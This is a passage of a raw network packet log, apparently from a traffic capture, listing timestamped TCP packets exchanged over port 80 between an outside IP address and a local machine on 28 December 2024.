Dec 28, 2024 10:03:37.995167017 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.995223999 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.995354891 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.995994091 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.996095896 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.996139050 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.996892929 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.996985912 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.997061968 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.997797966 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.997922897 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.997976065 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.998672962 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.998795986 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.998836994 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.999653101 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.999738932 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.999800920 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.999823093 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:38.000464916 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.000602007 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.001332045 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.001379967 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:38.001514912 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.001585960 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:38.002222061 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.002311945 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.002484083 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:38.003099918 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.003215075 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.003258944 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:38.003978968 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.004081964 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.004151106 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:38.024509907 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:38.034357071 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:38.129311085 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.129417896 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.129519939 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:38.129719019 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.129856110 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.129930973 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:38.130621910 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.130739927 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.130804062 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:38.131525040 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.153203964 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.153278112 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:38.153361082 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.153579950 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.153840065 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.154007912 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:38.154493093 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.154643059 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.154725075 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:38.155848026 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.156049967 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.156079054 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:38.157107115 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.157166004 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:38.157282114 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.158226013 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.158361912 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.159419060 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.159477949 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:38.159524918 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.160465956 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.160598040 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.160655022 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:38.161334991 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.161391020 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.161432981 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:38.161854982 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.161946058 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.162425041 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.162470102 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.162473917 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:38.162872076 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.162919998 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:38.162941933 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.163537979 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.163604975 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.163654089 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:38.164213896 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.164324045 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.164433956 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:38.165131092 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.165214062 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:38.165249109 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.165992022 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.166100025 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.166131020 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:38.166883945 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.166999102 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.167000055 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:38.167776108 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.167825937 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:38.167946100 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.168664932 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.168768883 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.168771029 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:38.168771029 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:38.169560909 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.169631958 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:38.169667006 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.170459032 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.170572996 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.170599937 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:38.171319962 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.171360016 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:38.171415091 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.172219992 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.172275066 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:38.172341108 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.173131943 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.173229933 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.173274994 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:38.173985958 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.174035072 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:38.174093962 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.174899101 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.174967051 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:38.174984932 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.175772905 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.175825119 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:38.175860882 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.176738977 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.176779985 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:38.176843882 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.177560091 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.177666903 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.177707911 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:38.178445101 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.178495884 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:38.178577900 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.179330111 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.179425955 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.179445028 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:38.180263996 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.180368900 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.180408001 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:38.181106091 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.181150913 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:38.181158066 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.181981087 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.182104111 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.182106018 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:38.182878017 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.182970047 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:38.183037043 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.183837891 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.183878899 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:38.183882952 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.184638023 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.184701920 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:38.184736013 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.185537100 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.185591936 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:38.185647964 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.186461926 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.186548948 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.186563969 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:38.187330961 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.187437057 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:38.187439919 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.188203096 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.188245058 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:38.188344002 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.189083099 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.189131975 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:38.189203024 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.190018892 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.190063953 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:38.190144062 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.190913916 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.190962076 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:38.190987110 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.191755056 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.191800117 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:38.191859961 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.192662001 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.192771912 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.192811012 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:38.193525076 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.193578005 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:38.193643093 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.194452047 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.194500923 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:38.194534063 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.195341110 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.195396900 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:38.195409060 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.196192980 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.196295977 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.196341038 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:38.317840099 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:38.321249008 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.321350098 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.321595907 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:38.321697950 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.321814060 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.321855068 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:38.322583914 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.322711945 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.322762966 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:38.323468924 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.345827103 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.345839977 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.345890045 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:38.346121073 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.346178055 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:38.346272945 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.347022057 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.347073078 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:38.347135067 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.347868919 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.347918987 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:38.347987890 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.348865986 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.348983049 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.349044085 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:38.349667072 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.349766970 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.349802017 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:38.350547075 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.350595951 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:38.350673914 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.351428032 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.351520061 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.351567030 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:38.352322102 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.352426052 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.352483988 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:38.353202105 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.353322983 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.353379011 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:38.354105949 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.354207039 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:38.354221106 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.354967117 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.355019093 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:38.355144978 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.355885029 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.355973959 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:38.355976105 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.356765032 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.356813908 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.356862068 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:38.357670069 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.357754946 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:38.357772112 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.358556986 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.358664989 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.358714104 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:38.359411955 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.359535933 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.359587908 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:38.360359907 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.360492945 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.360541105 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:38.361232042 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.361373901 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.361423016 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:38.362114906 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.362164021 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:38.362282991 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.363013983 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.363061905 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:38.363138914 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.363888025 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.363934994 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.363940001 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:38.364773035 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.364815950 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:38.364893913 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.365663052 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.365772009 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.366604090 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.366647005 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:38.366727114 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.367434978 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.367482901 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:38.367537022 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.368343115 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.368397951 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:38.368510008 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.369252920 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.369316101 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.369366884 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:38.370167971 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.370249033 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.370296001 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:38.370996952 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.371047974 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:38.371124983 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.371893883 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.371937037 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:38.371994972 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.372764111 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.372819901 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:38.372864008 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.373653889 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.373702049 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:38.373773098 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.374573946 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.374620914 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:38.374656916 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.375516891 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.375550985 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.375596046 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:38.376321077 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.376403093 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.376451969 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:38.377194881 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.377242088 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:38.377300978 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.378077984 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.378192902 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.378240108 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:38.378979921 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.379034996 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:38.379089117 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.379951000 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.379990101 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.380038023 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:38.380891085 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.380911112 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.380968094 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:38.381649017 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.381751060 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:38.381759882 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.382533073 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.382643938 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.382695913 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:38.383481979 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.383524895 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.383573055 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:38.384337902 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.384470940 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:38.384519100 CET	49766	80	192.168.2.6	185.215.113.16
